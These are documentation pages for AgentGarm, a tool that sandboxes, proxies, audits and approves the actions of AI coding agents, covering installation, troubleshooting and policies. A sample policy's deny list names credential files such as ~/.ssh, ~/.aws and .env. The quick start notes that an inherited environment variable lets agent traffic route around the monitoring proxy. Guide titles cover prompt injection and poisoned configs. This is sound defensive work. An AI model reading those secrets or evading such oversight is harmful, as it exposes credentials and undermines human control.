contributors, used under the Creative Commons Attribution 4.0 International licence; AgentGarm copies them unchanged and validates its export against them. Vendored standards and schemasUpstreamLicence bufbuild/protovalidate; open-telemetry/opentelemetry-protoApache-2.0 ocsf/ocsf-schemaApache-2.0 open-telemetry/semantic-conventions-genaiApache-2.0 open-telemetry/semantic-conventionsApache-2.0 FinOps-Open-Cost-and-Usage-Spec/FOCUS_SpecCC-BY-4.0 GenAI-Security-Project/agent-control-standardApache-2.0 CycloneDX/specificationApache-2.0 modelcontextprotocol/registryApache-2.0 (MIT for contributions not yet relicensed) Upstream notices OCSFOpen Cybersecurity Schema Framework Copyright © OCSF a Series of LF Projects, LLC For web site terms of use, trademark policy and other project policies please see https://lfprojects.org. This project includes the ICD Schema developed by Symantec, a division of Broadcom. Licensed under the Apache 2 license. Refer to the Apache 2 license in the file LICENSE.ACSAgent Control Standard (ACS) Copyright 2025-2026 The OWASP GenAI Security Project and the ACS contributors This product includes software and specifications developed by the OWASP GenAI Security Project (https://genai.owasp.org/). Code and machine-readable schemas in this repository are licensed under the Apache License, Version 2.0. See LICENSE. Prose documentation in this repository is licensed under the Creative Commons Attribution-ShareAlike 4.0 International License. See LICENSE-DOCS. The landing page bundles the Inter typeface, Copyright (c) 2016 The Inter Project Authors (https://github.com/rsms/inter), licensed under the SIL Open Font License, Version 1.1. See landing/assets/fonts/OFL.txt. The reference implementation under reference-implementations/agt/ includes the stock policy bundle of Microsoft's Agent Governance Toolkit, Copyright (c) Microsoft Corporation, licensed under the MIT License. See reference-implementations/agt/policy/LICENSE-AGT. The documentation site bundles Mermaid 11.17.2, Copyright (c) 2014-2022 Knut Sveidqvist (https://github.com/mermaid-js/mermaid), licensed under the MIT License. It is served from docs/assets/javascripts/ so that the published site renders diagrams without fetching code from a third party. See LICENSING.md for the full scope map. Prior history: releases up to and including v0.1.0 were published under the MIT License, Copyright (c) 2025-2026 Agent Control Standard. That grant is not revoked. Anyone who obtained those releases under the MIT License keeps their rights under it. Typefaces Newsreader by Production Type, SIL Open Font License 1.1. Public Sans by the U.S. Web Design System, SIL Open Font License 1.1. IBM Plex Mono by IBM, SIL Open Font License 1.1. This site's code The libraries this site sends to your browser, with the licence each declares: The site's runtime dependenciesPackageVersionLicence @fontsource-variable/newsreader5.3.0OFL-1.1 @fontsource-variable/public-sans5.3.0OFL-1.1 @fontsource/ibm-plex-mono5.3.0OFL-1.1 @tanstack/react-table8.21.3MIT @tanstack/react-virtual3.14.19MIT @tanstack/table-core8.21.3MIT @tanstack/virtual-core3.19.4MIT clsx2.1.1MIT react19.3.0MIT react-dom19.3.0MIT scheduler0.28.0MIT tailwind-merge3.7.0MIT # Documentation URL: https://agentgarm.com/docs Documentation Install AgentGarm, write a first policy, and run it in CI. Install macOS Linux Windows preview Without administrator rights Central Lite, the self-hosted control plane for small fleets preview; or first explore its console on synthetic data Use Quick start: a first policy, a governed agent, the dashboard. Policies: what a policy says, and how to promote it from audit to enforce. In CI: govern agents in a CI job. How-to guides: step by step, one job each, from rolling out a policy to undoing what an agent changed. Troubleshooting: from what you see to the step that fixes it. Before you install Verify your download: every release carries SHA-256 checksums and a minisign signature. # Quick start URL: https://agentgarm.com/docs/quick-start Quick start Install a policy, run an agent through AgentGarm and see what it did. Not installed yet? Install AgentGarm first: every step here assumes a running install. 1. Write a policy Install the default pack for your agent, in audit mode: it decides and records, and blocks nothing yet. A root install reads the system's policy directory; a no-root install reads yours. Install the Claude Code policy pack, root install on macOS sudo agentgarm policy init claude-code --dir "/Library/Application Support/AgentGarm/agents.d" Install the Claude Code policy pack, root install on Linux sudo agentgarm policy init claude-code --dir /etc/agentgarm/agents.d Install the Claude Code policy pack, no-root install agentgarm policy init claude-code agentgarmd reads its policy directory when it starts, so restart it after adding a pack: how. 2. Run the agent through AgentGarm agentgarm run starts the agent in the sandbox, with its model traffic through the local proxy and every event tied to one task: Run Claude Code governed agentgarm run -- claude Start it from a plain terminal: a shell that Claude Code or the Claude desktop app started exports ANTHROPIC_BASE_URL, which routes around the proxy and rates the task C. From such a shell, run env -u ANTHROPIC_BASE_URL agentgarm run -- claude. Sign in with an API key: export ANTHROPIC_API_KEY before you launch, and answer Yes when Claude Code asks whether to use it. A claude.ai subscription login is never routed, so with one Claude Code reports Not logged in (more). On a first run the launcher lists your existing hooks, plugins and MCP servers as awaiting approval and launches anyway; review them with agentgarm approve. 3. See what it did Check status and open the dashboard agentgarm status agentgarm ui --open The dashboard shows each task's decisions, approvals, alerts and cost. 4. Enforce Once the audit shows the decisions you expect, check the policy against your own history, then switch it from mode: audit to mode: enforce. Policies. Where next Watch your agent for a week, then enforce Allow, ask or deny shell commands Limit what an agent can read, write and reach Approve risky actions with Touch ID Check that protection is on Every task has a guide: how-to guides. # Troubleshooting URL: https://agentgarm.com/docs/troubleshooting Troubleshooting What you see when something goes wrong with AgentGarm, and the guide step that explains and fixes it, by symptom. Installing and checking Installing and checking: symptoms and where to fix themWhat you seeWhere to go agentgarm doctor reports a failed checkCheck that protection is on: Run doctor agentgarm status shows the proxy NOT answeringCheck that protection is on: Check the services agentgarm status says a policy is NOT LOADEDWatch your agent for a week, then enforce: Install the pack in audit mode A session is rated C, or lower than you expectedCheck that protection is on: Read each session's assurance level A bypass alert appearsCheck that protection is on: Act on a bypass alert An agent's version is out of range or unknownKeep agent versions in check: Bring the agent back into range A download's signature or checksum does not verifyCheck for and verify AgentGarm updates: Verify the download before you run it agentgarm status says agentgarmd's binary was replaced on disk: restart agentgarmdCheck for and verify AgentGarm updates: Check that the new release is running Launching an agent Launching an agent: symptoms and where to fix themWhat you seeWhere to go agentgarm run refuses to launch because of the project's agent configurationCatch poisoned agent configs before launch: Let agentgarm run refuse a poisoned launch The sandbox canary fails and the launch is refusedLimit what an agent can read, write and reach: Let the canary prove the sandbox Claude Code says Not logged in under agentgarm runGovern Claude Code: Start Claude Code through agentgarm run Codex makes no model call, or cannot save a folder's trust, under agentgarm runGovern Codex CLI: Start Codex through agentgarm run A model call carrying a claude.ai or ChatGPT-plan login is refused with 403Give Claude Code a per-developer gateway key: Know why a subscription login is refused A model call stops at the budget capSet spend budgets and stop runaway loops: Recognise the cap A call is refused because the provider bills in another currency than the USD budgetSet spend budgets and stop runaway loops: Recognise the cap An agent's WebSocket gets 426 Upgrade Required from the proxyGovern Codex CLI: Start Codex through agentgarm run Decisions Decisions: symptoms and where to fix themWhat you seeWhere to go A file read or write is deniedLimit what an agent can read, write and reach: Recognise a denial A command is treated as opaque and asked about or deniedAllow, ask or deny shell commands: Know when a command is opaque Enforcing would block everyday workWatch your agent for a week, then enforce: Fix the rules that would get in the way A secret is flagged that is not oneKeep secrets and card numbers out of prompts: Deal with a false positive You need an exception to a ruleTrace what one agent task did: Ask for an exception to a rule Approvals Approvals: symptoms and where to fix themWhat you seeWhere to go Every ask is denied after a fingerprint changeApprove risky actions with Touch ID: Re-enrol after a fingerprint change No approval prompt appearsApprove risky actions with Touch ID: Keep the presence watcher running A Mac with an enrolled key is lost, or its user leavesApprove risky actions with Touch ID: Replace or retire a key when a Mac is lost or a person leaves Outbound inspection (preview) Outbound inspection (preview): symptoms and where to fix themWhat you seeWhere to go A tool refuses AgentGarm's certificate, or a site shows Refused by toolCheck what agents upload to paste sites and webhooks: When a tool refuses the certificate A task shows Restart to inspect, or a site newly in Block is refused for a running agentCheck what agents upload to paste sites and webhooks: Run an agent with agentgarm run Certificates can't be issued: agentgarm inspect status says the web CA is unavailableCheck what agents upload to paste sites and webhooks: Turn it on Computer use (macOS) Computer use (macOS): symptoms and where to fix themWhat you seeWhere to go agentgarm run refuses: the computer-use posture needs a live airbagGovern computer-use agents: Install the airbag and grant it Accessibility agentgarm doctor says the airbag lacks AccessibilityGovern computer-use agents: Install the airbag and grant it Accessibility The airbag's Accessibility grant is lost after a rebuild or an updateGovern computer-use agents: Install the airbag and grant it Accessibility agentgarm status shows a task SUSPENDED with an airbag holdGovern computer-use agents: See why a task was suspended, and get it going again An allowed tool's clicks or key presses are droppedGovern computer-use agents: Read what would have been dropped, and open what you need No agent shows a Screen Recording grant, or grants are unknownWatch what agents can capture: See which agents hold a grant Sentinels, Windows, MCP tools and local runtimes (preview) Sentinels, Windows, MCP tools and local runtimes (preview): symptoms and where to fix themWhat you seeWhere to go agentgarm status shows a macOS sentinel line as FAILTurn on the macOS sentinels: Check that the sentinels are connected A security key stops approving on WindowsApprove risky actions on Windows: Re-enrol when a key stops working A new or changed MCP tool is missing from the agent's list, or its calls are refusedContain prompt injection in MCP tool output: Approve a new or changed tool An MCP tool is held back for a poisoned descriptionContain prompt injection in MCP tool output: See poisoned tool descriptions held back agentgarm status --inventory lists a local runtime as UNMANAGEDSee the AI runtimes and desktop AI apps on a machine: Read unmanaged and governed Fleet deployment (preview) Fleet deployment (preview): symptoms and where to fix themWhat you seeWhere to go A force-installed browser extension never gets the machine's policyDeploy AgentGarm with MDM: Force-install the browser extension Records and recovery Records and recovery: symptoms and where to fix themWhat you seeWhere to go The audit chain does not verifyExport and verify the audit log: Read a broken chain The dashboard refuses its launch code, or stops loadingTrace what one agent task did: Open the dashboard An agent changed files you want backUndo what an agent changed: Preview the rollback, then apply it Support asks for detailsSend a redacted support bundle: Write the bundle Central Lite (preview) Central Lite (preview): symptoms and where to fix themWhat you seeWhere to go An admin lost their passkeyStand up Central Lite: Recover an admin who lost their passkey Central Lite cannot open its keys: a wrong PIN or another tokenKeep Central Lite's keys in a hardware security module: Know what a wrong PIN or another token does Kill orders and evidence (preview) Kill orders and evidence (preview): symptoms and where to fix themWhat you seeWhere to go Your agent stopped and won't start againFind out why your agent stopped: Tell a suspend, a kill, a lockdown and a budget breach apart agentgarm status says this machine is locked downFind out why your agent stopped: See what happened agentgarm status shows a task SUSPENDED with a breach or order holdFind out why your agent stopped: Ask who can lift it A kill order won't be requested: too few approver keys countStop agents across a fleet: Set up approvers before you need them A node answered a kill order refusedStop agents across a fleet: Read each node's answer A node shows as too old, or never answers an orderStop agents across a fleet: Read each node's answer Central Lite is down and an order must reach a machineStop agents across a fleet: Stop or lift by hand when Central Lite is down A task's evidence bundle doesn't verifyExport evidence for one task: Verify it with the node's key Central Lite refuses to export a task's evidence bundleInvestigate a task across the fleet: Export Central Lite's bundle, with its hold Central Lite's evidence bundle doesn't verifyInvestigate a task across the fleet: Verify it offline against the org root Single sign-on, SCIM and SIEM (preview) Single sign-on, SCIM and SIEM (preview): symptoms and where to fix themWhat you seeWhere to go Sign-in refused: your identity is not linked to an active Central adminSign in to the console with your identity provider: Sign in, then add your passkey Sign-in refused: the user is in too many groups for the token (Entra group overage)Sign in to the console with your identity provider: Map groups or app roles to console roles Sign-in refused: the token is from another issuer (or tenant)Sign in to the console with your identity provider: Point Central Lite at your provider The console is read-only after signing in with single sign-onSign in to the console with your identity provider: Sign in, then add your passkey Passkey sign-in is refused: it is for owners while SSO is requiredSign in to the console with your identity provider: Require SSO and keep a break-glass owner A console page says your roles don't allow thisGive people the right access in the console: Know the roles and what each sees Your identity provider's SCIM requests get 401Provision and remove people with SCIM: Rotate the token Your identity provider's SCIM requests get 429Provision and remove people with SCIM: Connect Okta or Entra ID People your identity provider removed are still active: a wave was heldProvision and remove people with SCIM: Decide what to do with a held wave A SIEM sink is stopped, or falls behind (siem_lag)Send the fleet's security events to Splunk or Sentinel: Read lag, rejects and gaps A SIEM sink recorded a gap, or rejects eventsSend the fleet's security events to Splunk or Sentinel: Read lag, rejects and gaps SIEM sinks stopped after a restore: credential not in this Central's keystoreSend the fleet's security events to Splunk or Sentinel: Rotate a credential Still stuck Write a support bundle (the support bundle guide): it leaves secrets and prompt text out. Then email support@nannertech.com with what you ran and what you saw. # Install on macOS URL: https://agentgarm.com/docs/install/macos Install on macOS Install AgentGarm on macOS from the signed package, then start its services. Install the package Download agentgarm-X.Y.Z-universal-apple-darwin.pkg from the download page, verify it, and open it, or install it from a terminal: Install the macOS package sudo installer -pkg agentgarm-X.Y.Z-universal-apple-darwin.pkg -target / It runs on macOS 15 and later, on Apple silicon and Intel. Start the services The package installs the programs and runs no script. An administrator then installs the daemon, the per-user session service and each agent's managed hooks, which nothing installs by itself: without them no command or file rule is decided. agentgarm doctor checks the result: Install the services sudo agentgarmd install sudo agentgarmd install --session sudo agentgarmd hooks install claude-code # once per agent: codex, cursor, … agentgarm doctor The session service is installed for every user and starts at each user's next login. To start it now, run this as yourself before agentgarm doctor: Start the session service now launchctl bootstrap gui/$(id -u) /Library/LaunchAgents/com.agentgarm.session.plist Each agent's guide covers its hooks: Claude Code, Codex, other agents. Then follow the quick start, and once it runs: Check that protection is on Watch your agent for a week, then enforce Add the computer-use airbag (optional) Only for an agent or MCP server that must drive the desktop preview: the airbag, AgentGarm Airbag, a background app beside agentgarmd, runs in each login session under its own LaunchAgent and drops such an agent's input on protected targets. Install it, then allowAgentGarm Airbag in System Settings, Privacy & Security, Accessibility when macOS asks; agentgarm doctor checks it. On an upgrade, running the install again restarts it on the new binary. sudo agentgarmd uninstall removes it with the service, and sudo agentgarmd uninstall --airbag removes it alone (govern computer-use agents). Install the airbag for every user sudo agentgarmd install --airbag agentgarm doctor Upgrade Verify the new release's package, install it over the old one, then restart the services: no package runs a script, so the old daemon keeps running until you do, and agentgarm status and agentgarm doctor say it needs a restart. When a release's notes say its service unit changed, run sudo agentgarmd install before the restart. Your policies, the audit log and the store carry over as they are; the restarted daemon points the agents' hooks at the new release by itself, and agentgarmd hooks status says stale for one it has not reached yet. Upgrade and restart sudo installer -pkg agentgarm-X.Y.Z-universal-apple-darwin.pkg -target / sudo launchctl kickstart -k system/com.agentgarm.agentgarmd launchctl kickstart -k gui/$(id -u)/com.agentgarm.session # as each user sudo agentgarmd install --airbag # only if you added the airbag: restarts it agentgarm doctor Remove it Uninstall the daemon first: it removes every agent hook and MCP configuration it installed, restoring what was there before, then its service. If one cannot be removed, the service is kept and the command fails and lists it, because a fail-closed hook left behind would deny every call of its agent; fix what it lists and run it again (--force removes the service anyway, and still fails). Then the session service, then the package. A session already running keeps running until its user logs out. Uninstall the services and the package sudo agentgarmd uninstall sudo agentgarmd uninstall --session sudo rm -rf /Applications/AgentGarm.app /usr/local/share/agentgarm /usr/local/share/doc/agentgarm pkgutil --only-files --files com.agentgarm.cli | grep '^usr/local/bin/' | sed 's|^|/|' | sudo xargs rm -f sudo pkgutil --forget com.agentgarm.cli Your policies, the audit log and the store stay in /Library/Application Support/AgentGarm, so a later install picks them up. Export the audit log first if you need it (the audit log guide), then delete that directory to remove them too. A presence key is not removed: on a Mac its handle stays in each user's ~/Library/Application Support/AgentGarm/presence (the key itself never leaves the Secure Enclave), and on Linux a security key keeps its credential. # Install on Linux URL: https://agentgarm.com/docs/install/linux Install on Linux Install AgentGarm on Debian, Ubuntu, Fedora or RHEL, then start its services. Install the package Download the .deb or .rpm for your architecture from the download page, verify it, and install it: Install on Debian or Ubuntu sudo apt install ./agentgarm_X.Y.Z-1_amd64.deb Install on Fedora or RHEL sudo dnf install ./agentgarm-X.Y.Z-1.x86_64.rpm Both depend on git, and recommend libfido2's tools for security-key approvals preview. Start the services The package installs the programs and runs no script. An administrator then installs the daemon, the per-user session service and each agent's managed hooks, which nothing installs by itself: without them no command or file rule is decided. agentgarm doctor checks the result: Install the services sudo agentgarmd install sudo agentgarmd install --session sudo agentgarmd hooks install claude-code # once per agent: codex, cursor, … agentgarm doctor The session service is installed for every user and starts at each user's next login. To start it now, run this as yourself before agentgarm doctor: Start the session service now systemctl --user daemon-reload systemctl --user start agentgarm-session Each agent's guide covers its hooks: Claude Code, Codex, other agents. Then follow the quick start, and once it runs: Check that protection is on Watch your agent for a week, then enforce Upgrade Verify the new release's package, install it over the old one, then restart the services: no package runs a script, so the old daemon keeps running until you do, and agentgarm status and agentgarm doctor say it needs a restart. When a release's notes say its service unit changed, run sudo agentgarmd install before the restart. Your policies, the audit log and the store carry over as they are; the restarted daemon points the agents' hooks at the new release by itself, and agentgarmd hooks status says stale for one it has not reached yet. Upgrade and restart sudo apt install ./agentgarm_X.Y.Z-1_amd64.deb # or: sudo dnf install ./agentgarm-X.Y.Z-1.x86_64.rpm sudo systemctl restart agentgarmd systemctl --user restart agentgarm-session # as each user agentgarm doctor Remove it Uninstall the daemon first: it removes every agent hook and MCP configuration it installed, restoring what was there before, then its service. If one cannot be removed, the service is kept and the command fails and lists it, because a fail-closed hook left behind would deny every call of its agent; fix what it lists and run it again (--force removes the service anyway, and still fails). Then the session service, then the package. A session already running keeps running until its user logs out. Uninstall the services and the package sudo agentgarmd uninstall sudo agentgarmd uninstall --session sudo apt remove agentgarm # or: sudo dnf remove agentgarm Your policies, the audit log and the store stay in /var/lib/agentgarm and /etc/agentgarm, so a later install picks them up. Export the audit log first if you need it (the audit log guide), then delete that directory to remove them too. A presence key is not removed: on a Mac its handle stays in each user's ~/Library/Application Support/AgentGarm/presence (the key itself never leaves the Secure Enclave), and on Linux a security key keeps its credential. # Install on Windows URL: https://agentgarm.com/docs/install/windows Install on Windows The Windows preview: what it is, and how to install it to evaluate AgentGarm. A preview The Windows build is unsupported preview: it is not yet code-signed, so Smart App Control, where it is on, blocks it, and SmartScreen warns before it runs. Verify the download first, and use it to evaluate AgentGarm, not to rely on. Take the aarch64-pc-windows-msvc package on an ARM64 PC. The package installs the daemon as the AgentGarm service and starts it; installing a newer release's package over it upgrades it. Install the Windows package msiexec /i agentgarm-X.Y.Z-x86_64-pc-windows-msvc.msi agentgarm doctor Remove it From an administrator prompt, uninstall the daemon before the package, so it takes out the agent hooks it installed; then remove the package. Policies, the audit log and the store stay in C:\ProgramData\AgentGarm. Uninstall on Windows agentgarmd uninstall msiexec /x agentgarm-X.Y.Z-x86_64-pc-windows-msvc.msi # Install without administrator rights URL: https://agentgarm.com/docs/install/no-root Install without administrator rights Install AgentGarm as yourself from the tarball, and what that gives up. From the tarball Unpack the .tar.gz for your platform into a directory that will stay where it is (the services run from it), put its bin on your PATH, then install the user services and the default policy, in audit mode: Install without root mkdir -p ~/.local/opt && tar -xzf agentgarm-X.Y.Z-.tar.gz -C ~/.local/opt export PATH="$HOME/.local/opt/agentgarm-X.Y.Z-/bin:$PATH" # and in your shell profile agentgarm install --user agentgarm doctor What you give up Without root, everything runs as you, so an agent could interfere with AgentGarm. It still records and decides, but the session is rated lower and agentgarm install --user prints the level that applies. Approvals are not hardware-backed. Agents whose hooks live in system files, such as Claude Code and Codex, get no hooks, so they are governed only when you start them with agentgarm run. Next The quick start, then the guides a no-root install was walked through: Watch your agent for a week, then enforce Test a policy before you ship it Govern agents on a headless server or container Upgrade Verify the new release's tarball, unpack it into its own directory, point your PATH at its bin, and run agentgarm install --user from it, which rewrites the user services to run the new programs; then restart them, since a running service keeps the old programs until it restarts. Your policies, the audit log and the store carry over. Upgrade without root tar -xzf agentgarm-X.Y.Z-.tar.gz -C ~/.local/opt export PATH="$HOME/.local/opt/agentgarm-X.Y.Z-/bin:$PATH" # and in your shell profile agentgarm install --user systemctl --user restart agentgarmd agentgarm-session # Linux launchctl kickstart -k gui/$(id -u)/com.agentgarm.agentgarmd # macOS launchctl kickstart -k gui/$(id -u)/com.agentgarm.session # macOS agentgarm doctor Remove it Uninstall without root agentgarm uninstall --user It removes the hooks and services it installed, and keeps your policies, the audit log and state. Then delete the unpacked directory. # Install Central Lite URL: https://agentgarm.com/docs/install/central-lite Install Central Lite Run Central Lite, the fleet control plane, from its tarball as an unprivileged account. Built, not yet claimed preview: Central Lite has not passed its release gate. From the tarball Central Lite is one Linux binary, garm-central, with the fleet console built in, behind one HTTPS port. Download garm-central-X.Y.Z-.tar.gz for x64 or ARM64 from the download page and verify it. Run it as an unprivileged account, never as root, that owns Central Lite's state directory: /var/lib/agentgarm-central unless you pass --state-dir to every command. That account cannot create a directory under /var/lib, so the first line, run from it, has root create it for the account; Central Lite refuses the directory unless it is 0700 and the account's. Set up Central Lite from the tarball sudo install -d -o "$(id -un)" -m 0700 /var/lib/agentgarm-central mkdir -p ~/.local/opt && tar -xzf garm-central-X.Y.Z-.tar.gz -C ~/.local/opt export PATH="$HOME/.local/opt/garm-central-X.Y.Z-/bin:$PATH" # and in the account's shell profile garm-central init --url https://central.example:8443 garm-central root lite garm-central admin bootstrap garm-central serve --listen 0.0.0.0:8443 init creates the org, its keys and the node certificate authority; --url is the address nodes and browsers reach. admin bootstrap prints a one-time code for the console's first admin. serve answers until it is stopped, so keep it running under your own service manager: the tarball ships no service unit. Keys are held in a software keystore in the state directory unless the host has an OS keystore; garm-central status names each key's custody. The container image, once a release carries it The tarball carries the image's definition, but no release ships the image yet: its base is not pinned. Once one does, it runs read-only as uid 65532, keeps everything, keys included, in one volume, and listens on 8443: Run Central Lite from its image docker load -i garm-central-X.Y.Z-x86_64-unknown-linux-gnu-image.tar docker volume create central docker run --rm --read-only -v central:/var/lib/agentgarm-central garm-central:X.Y.Z init --url https://central.example docker run --rm --read-only -v central:/var/lib/agentgarm-central garm-central:X.Y.Z root lite docker run --rm --read-only -v central:/var/lib/agentgarm-central garm-central:X.Y.Z admin bootstrap docker run -d --name central --read-only -v central:/var/lib/agentgarm-central -p 443:8443 garm-central:X.Y.Z The image has no git, which the policy repository pull needs; until it does, run that from the tarball on a host that has git. In a container, keys are always held in software. Next Stand up Central Lite: the first admin and the first backup; then enrol developer machines. # Policies URL: https://agentgarm.com/docs/policies Policies What a policy says, and how to move it from audit to enforce. What a policy says A policy is a YAML file in your agents.d directory, validated against the published schema (agentgarm.com/schemas/agents/v1). It names the agent it covers, its mode, how it fails, and the boundaries the agent works within. The opening of the default Claude Code pack: policies/claude-code.yaml, opening # AgentGarm default policy pack: Claude Code. # Install with `agentgarm policy init claude-code`. Packs ship in audit mode: run # `agentgarm policy lint --blast-radius` on your own history before promoting to enforce. schema: agentgarm.com/schemas/agents/v1 name: claude-code version: "1.1.0" mode: audit profile: interactive on_internal_error: fail_open_alert match: launcher: true binaries: [claude] process_tree_root: true swarm_governance: max_subagent_depth: 4 max_concurrent_subagents: 8 loop_detection: max_identical_tool_calls: 8 window_seconds: 120 action: alert security_boundaries: filesystem: # Reads of credentials are denied; .env.example and other templates stay readable. deny: - "~/.ssh" - "~/.aws" - "~/.gnupg" - "~/.config/gcloud" - "~/.azure" - "~/.kube/config" - "~/.netrc" - "~/.git-credentials" - "~/.docker/config.json" - "~/.config/gh/hosts.yml" - "**/.env" - "**/.env.local" - "**/.env.*.local" # Configuration that runs commands outside any sandbox: file tools may not change it. Audit, then enforce Packs ship in audit mode: every decision is made and recorded, and nothing is blocked. Check a candidate against what your agents actually did before you enforce it: Lint a policy against your history (no-root, Linux) agentgarm policy lint ~/.config/agentgarm/agents.d/claude-code.yaml --blast-radius It reports shadowed and conflicting rules, and what the policy would have denied in your recent history. Fail modes Each boundary declares how it fails: fail_closed denies when AgentGarm cannot decide, and fail_open_alert lets the action through and raises an alert. Where each is enforced. # AgentGarm in CI URL: https://agentgarm.com/docs/ci AgentGarm in CI Govern AI agents in a CI job with the GitHub Action and the dev container feature. GitHub Actions The AgentGarm action installs a verified release in the job, starts agentgarmd with the ephemeral CI profile, in which an agent no policy covers is denied, and lets later steps run agents with agentgarm run: sandboxed, through the proxy and audited. The action is not published yet. Beta customers get it on request; this page gives its name and inputs once it is. Dev containers A dev container feature preview installs AgentGarm into a container image, verified the same way. It is available with the action. # How-to guides URL: https://agentgarm.com/docs/how-to How-to guides Step-by-step guides for governing AI agents with AgentGarm: policy rollout, approvals, secrets, cost and recovery; CI and Central Lite fleets in preview. The guides are written for macOS and Linux. Windows is a preview, and no guide walks it yet. Getting started 12 guides Writing policy 7 guides Protecting secrets and data 11 guides Cost 3 guides Investigating and recovering 8 guides CI, containers and servers 2 guides Running a fleet with Central Lite 18 guides 61 guides Getting started For one machine: bring your agents under AgentGarm, with hooks or without, start a policy in audit mode, check that protection is on, turn on the macOS sentinels, follow what it denies or asks, run it on Windows, see the local AI runtimes on it and keep it up to date. 6 of its 12 guides are in preview. Guide 1 Watch your agent for a week, then enforce Start a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. Guide 2 Govern Claude Code Install the Claude Code pack, put AgentGarm's hooks in Claude Code's managed settings, run it through the launcher and proxy, and check what is enforced. Guide 3 Govern Codex CLI Install the Codex pack, add its hooks to Codex's managed requirements.toml on a root install, start Codex through the launcher, and check what is enforced. Guide 4 Govern Cursor, Copilot CLI, Devin, Cline and otherspreview Install your agent's policy pack in audit mode, put AgentGarm's hooks where that agent reads them, and read what its hooks cannot do. Guide 5 Govern an agent with no hooks Run an agent AgentGarm has no hook adapter for inside the same sandbox and proxy, and know which of your policy's rules that leaves unenforced. Guide 6 Route other model providers through the proxypreview Send Gemini, Bedrock, Vertex, Azure, OpenRouter, DeepSeek and local-runtime calls through the proxy, accounted, budgeted and checked for secrets. Guide 7 Check that protection is on See whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. Guide 8 Turn on the macOS sentinelspreview Activate AgentGarm's Endpoint Security and Network Extension on a Mac, approve them by MDM or by hand, and check that they hold the agent's processes. Guide 9 Get told when an agent is denied or askspreview Follow each denial, approval ask and alert as it happens: in a terminal, as desktop notifications, or through your own Linux notifier. Guide 10 Run AgentGarm on Windowspreview Install the Windows preview, start agents in its Job Object sandbox, use the tray, know what Windows enforces next to macOS and Linux, and remove it. Guide 11 See the AI runtimes and desktop AI apps on a machinepreview List the local model runtimes and desktop AI apps on a machine, see which ones no governed session used, and route local model calls through the proxy. Guide 12 Check for and verify AgentGarm updates Find the newest AgentGarm release, check its signature and checksums before you run it, never go back to an older one, and upgrade in place. Writing policy For whoever writes a machine's policy: which commands, files and hosts an agent may use, Touch ID and Windows approvals, poisoned configs, agent versions, and testing a policy before it ships. Of its 7 guides, 1 is in preview and 4 have preview steps. Guide 13 Allow, ask or deny shell commands Write command rules on the parsed command and its wrappers, not its text, choose between asking and denying, and replay commands before you rely on them. Guide 14 Limit what an agent can read, write and reachpreview steps Decide which files an agent may read and write and which hosts it may reach, know which layer holds each rule, and recognise a denial. Guide 15 Test a policy before you ship it Write what a policy must allow, ask about and deny as a file of events, replay it before you install the policy, and keep both in your repository. Guide 16 Approve risky actions with Touch IDpreview steps Enrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. Guide 17 Approve risky actions on Windowspreview Enrol a security key on a Windows PC and approve each command your policy asks about through Windows' own WebAuthn; Windows Hello itself comes later. Guide 18 Catch poisoned agent configs before launchpreview steps Scan the instruction, settings, hook, plugin and MCP files your agents read for hidden text and auto-approval switches, and gate CI on the result. Guide 19 Keep agent versions in checkpreview steps List your installed agents against the versions AgentGarm verified their hooks for, and bring an agent that updated past that range back in range. Protecting secrets and data Keep secrets, tokens and your browser profile from the agent and its model provider: prompt redaction, what agents upload to paste sites and webhooks, sealed cloud and MCP credentials, the MCP gateway, prompt injection in MCP tool output, browser agents, computer-use agents and what agents can capture on screen; gateway keys and the signed MCP registry need Central Lite. Of its 11 guides, 10 are in preview and 1 has preview steps. Guide 20 Keep secrets and card numbers out of promptspreview steps See which credentials your agent sends its model provider, have the proxy replace them with cache-safe placeholders, and deny tool calls that carry one. Guide 21 Check what agents upload to paste sites and webhookspreview Have AgentGarm read what launched agents send to paste sites, file sharing and webhooks, record or stop secrets, and fix tools that refuse its certificate. Guide 22 Give Claude Code a per-developer gateway keypreview Give each developer their own gateway key from Central Lite and let Claude Code fetch it through apiKeyHelper; a claude.ai login is never routed. Guide 23 Give agents short-lived AWS, GCP and SSH credentialspreview Seal AWS, GCP and SSH credentials in agentgarmd; each task started with agentgarm run gets short-lived ones, and the sealed ones never reach the agent. Guide 24 Run MCP servers through the gatewaypreview List the MCP servers an agent may use, pinned to a package and hash, and run each through the gateway, where agentgarmd decides every tool call first. Guide 25 Sign in to MCP servers without exposing tokenspreview Give your MCP servers their API keys and OAuth sign-ins from your own terminal; agentgarmd seals each one and the agent never sees a token. Guide 26 Allow only vetted MCP serverspreview Mirror the MCP registry, have Central Lite sign it for your machines, and let agents launch only servers resolved from that signed snapshot. Guide 27 Contain prompt injection in MCP tool outputpreview Strip hidden text from MCP tool results, hold back poisoned tool descriptions, pin tool definitions, and limit what a hijacked agent can do next. Guide 28 Govern browser agentspreview Put AgentGarm's browser shim in front of the browsers your agent launches, so each launch gets a fresh profile and its downloads wait in quarantine. Guide 29 Govern computer-use agentspreview Let an agent drive your Mac's mouse and keyboard while AgentGarm's airbag drops its input on password managers, settings and other protected targets. Guide 30 Watch what agents can capturepreview See which agents can capture your Mac's screen, and alert, pause or end a task when a password manager or other sensitive app comes to the front. Cost For one machine: budget each task, see what each task cost by provider and model, and reconcile the spend with your provider's own reports. Of its 3 guides, 1 is in preview and 1 has preview steps. Guide 31 Set spend budgets and stop runaway loops Give each agent task a cost budget and a token rate, see what the agent meets at the cap, and stop loops and runaway subagents with limits of their own. Guide 32 See what each task costpreview steps Route an agent's model calls through AgentGarm so each one is counted and priced, and read the spend by provider and model. Guide 33 Reconcile spend with provider invoicespreview Reconcile a day of this machine's model calls against your provider's own usage and cost reports, read where they differ, and export FOCUS rows. Investigating and recovering On one machine, when you need to know what happened: trace what a task did, undo its changes, find out why an agent stopped, verify and export the audit log, export a task's evidence, send events to your SIEM from each machine or from Central Lite, and write a support bundle. Of its 8 guides, 4 are in preview and 3 have preview steps. Guide 34 Undo what an agent changedpreview steps Preview what rolling back an agent's task would restore and keep, then apply the rollback from the checkpoint taken before the agent started. Guide 35 Find out why your agent stoppedpreview Tell whether your agent was suspended, killed, locked out by a kill order or stopped by its budget, get your work back, and find out who can lift it. Guide 36 Trace what one agent task didpreview steps Find an agent's task in the dashboard, read every decision its policy made with the rule behind it, and follow the run from first decision to last. Guide 37 Export and verify the 